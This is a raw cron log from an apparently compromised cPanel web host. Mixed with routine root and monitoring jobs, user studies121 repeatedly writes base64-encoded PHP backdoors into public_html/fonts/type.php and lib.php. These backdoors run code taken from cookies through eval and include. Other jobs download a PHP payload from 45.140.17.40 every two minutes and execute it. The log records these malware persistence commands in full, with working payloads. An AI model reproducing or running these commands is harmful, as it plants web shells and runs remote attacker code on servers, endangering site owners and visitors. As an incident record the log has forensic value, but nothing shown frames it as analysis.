Sep 20 21:12:01 ip-184-168-122-23 CROND[9962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:12:01 ip-184-168-122-23 CROND[9964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:12:01 ip-184-168-122-23 CROND[9966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:12:01 ip-184-168-122-23 CROND[9968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:12:01 ip-184-168-122-23 CROND[9969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:13:01 ip-184-168-122-23 CROND[10125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:13:01 ip-184-168-122-23 CROND[10128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:13:01 ip-184-168-122-23 CROND[10126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:13:01 ip-184-168-122-23 CROND[10127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:14:01 ip-184-168-122-23 CROND[10207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:14:01 ip-184-168-122-23 CROND[10210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:14:01 ip-184-168-122-23 CROND[10211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:14:01 ip-184-168-122-23 CROND[10209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:14:01 ip-184-168-122-23 CROND[10212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:15:01 ip-184-168-122-23 CROND[10312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:15:01 ip-184-168-122-23 CROND[10313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:15:01 ip-184-168-122-23 CROND[10314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:15:01 ip-184-168-122-23 CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:15:01 ip-184-168-122-23 CROND[10317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:15:01 ip-184-168-122-23 CROND[10319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:16:01 ip-184-168-122-23 CROND[10407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:16:01 ip-184-168-122-23 CROND[10412]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 21:16:01 ip-184-168-122-23 CROND[10411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:16:01 ip-184-168-122-23 CROND[10410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:16:01 ip-184-168-122-23 CROND[10413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:16:01 ip-184-168-122-23 CROND[10409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:17:01 ip-184-168-122-23 CROND[10494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:17:01 ip-184-168-122-23 CROND[10497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:17:01 ip-184-168-122-23 CROND[10500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:17:01 ip-184-168-122-23 CROND[10503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:18:01 ip-184-168-122-23 CROND[10581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:18:01 ip-184-168-122-23 CROND[10582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:18:01 ip-184-168-122-23 CROND[10585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:18:01 ip-184-168-122-23 CROND[10584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:18:01 ip-184-168-122-23 CROND[10586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:19:01 ip-184-168-122-23 CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:19:01 ip-184-168-122-23 CROND[10769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:19:01 ip-184-168-122-23 CROND[10771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:19:01 ip-184-168-122-23 CROND[10773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:20:01 ip-184-168-122-23 CROND[10865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:20:01 ip-184-168-122-23 CROND[10869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10868]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:20:01 ip-184-168-122-23 CROND[10877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:21:01 ip-184-168-122-23 CROND[10966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:21:01 ip-184-168-122-23 CROND[10968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:21:01 ip-184-168-122-23 CROND[10970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:21:01 ip-184-168-122-23 CROND[10971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:22:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:22:01 ip-184-168-122-23 CROND[11050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:22:01 ip-184-168-122-23 CROND[11049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:22:01 ip-184-168-122-23 CROND[11051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:22:01 ip-184-168-122-23 CROND[11052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:23:01 ip-184-168-122-23 CROND[11151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:23:01 ip-184-168-122-23 CROND[11152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:23:01 ip-184-168-122-23 CROND[11153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:23:01 ip-184-168-122-23 CROND[11155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:24:01 ip-184-168-122-23 CROND[11639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:24:02 ip-184-168-122-23 CROND[11641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
